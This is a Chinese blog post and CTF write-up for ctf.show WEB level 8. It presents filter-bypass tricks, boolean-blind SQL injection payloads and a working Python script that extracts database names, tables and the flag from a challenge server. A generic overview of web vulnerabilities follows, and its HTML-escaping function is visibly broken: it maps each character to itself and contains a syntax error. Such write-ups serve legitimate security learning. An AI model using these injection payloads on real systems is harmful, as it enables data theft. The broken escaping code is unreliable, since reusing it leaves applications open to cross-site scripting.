ctfshow-WEB-web8

  「作者简介」:冬奥会网络安全中国代表队,CSDN Top100,就职奇安信多年,以实战工作为基础著作 《网络安全自学教程》,适合基础薄弱的同学系统化的学习网络安全,用最短的时间掌握最核心的技术。

ctf.show WEB模块第8关是一个SQL 注入漏洞, 注入点是数值型, 注入类型推荐使用布尔盲注,此关卡过滤了空格,逗号,and,union等关键字, 

1. 过滤空格, 可以使用括号() 或者注释/**/ 绕过
2. 过滤and, 可以使用or替代
3. 过滤union, 可以用盲注替代联合注入
4. 过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替

首先确定注入点, 输入以下payload使SQL恒成立

?id=-1/**/or/**/true

 由于SQL恒成立, 数据库将查询出表中的所有内容, 并返回到前端展示

再输入一下payload 使SQL恒不成立

?id=-1/**/or/**/false

 由于SQL恒不成立, 数据库查询不到任何数据, 从而导致页面空显示

 由以上返回结果可知, 该页面存在SQL注入, 注入点为数值型注入

接下来进行脱库, 由于盲注脱库比较复杂, 此处我们构造Python脚本进行自动化脱库, 注意payload中的字符串不要换行, 否则可能会出问题

import requests

url = 'http://53aab0c2-b451-4910-a1e0-f15fd9e64b2a.challenge.ctf.show:8080/index.php?id=-1/**/or/**/'
name = ''

# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 45):
    # 获取当前使用的数据库
    # payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
    # 获取当前数据库的所有表
    # payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
    # 获取flag表的字段
    # payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
    # 获取flag表的数据
    payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
    count = 0
    print('正在获取第 %d 个字符' % i)
    # 截取SQL查询结果的每个字符, 并判断字符内容
    for j in range(31, 128):
        result = requests.get(url + payload % (i, j))

        if 'If' in result.text:
            name += chr(j)
            print('数据库名/表名/字段名/数据: %s' % name)
            break

        # 如果某个字符不存在,则停止程序
        count += 1
        if count >= (128 - 31):
            exit()

 成功获取当前数据库名: web8

接下来获取获取数据库中所有表

 获取字段

 获取数据flag

03-30
### CTF Web挑战赛常见题型及解法 #### SQL注入攻击 SQL注入是一种常见的Web安全漏洞,允许攻击者通过输入恶意的SQL查询来操控数据库。这种攻击通常发生在应用程序未正确过滤用户输入的情况下。 ```sql SELECT * FROM users WHERE username = '$username' AND password = '$password'; ``` 如果`$username`和`$password`变量未经适当转义,则可能导致SQL注入[^1]。解决方法包括使用预处理语句以及参数化查询。 #### XSS (跨站脚本攻击) XSS攻击涉及将恶意脚本注入网页中,这些脚本会在其他用户的浏览器中执行。它分为存储型XSS、反射型XSS和DOM-based XSS三种主要形式[^2]。 防止XSS的关键在于对所有用户输入进行严格的验证与编码: ```javascript function escapeHtml(unsafe) { return unsafe.replace(/[&<>"']/g, function(m) { switch(m) { case '&': return '&'; case '<': return '<'; case '>': return '>'; case '"': return '"'; case "'": return '''; } }); } ``` #### 文件上传漏洞 文件上传漏洞可能使攻击者能够上传并运行危险的脚本或程序。为了防范此类风险,应严格检查上传文件的内容类型及其扩展名,并将其保存在一个隔离的安全目录下[^3]。 #### SSRF (服务器端请求伪造) SSRF让攻击者诱骗服务器向内部网络或其他外部目标发起HTTP请求。这可能会暴露敏感数据或者被用来扫描内网服务。防御措施之一是对URL白名单加以控制,并限制对外部资源访问的能力[^4]。 #### CSRF (跨站请求伪造) CSRF利用已登录用户的会话信息,在他们不知情的情况下发送恶意请求给受信任的站点。可以通过引入Anti-CSRF Tokens机制来缓解此威胁。 ```html <form action="/transfer" method="POST"> <input type="hidden" name="csrf_token" value="{{ csrf_token() }}"> </form> ``` ---
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

士别三日wyx

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值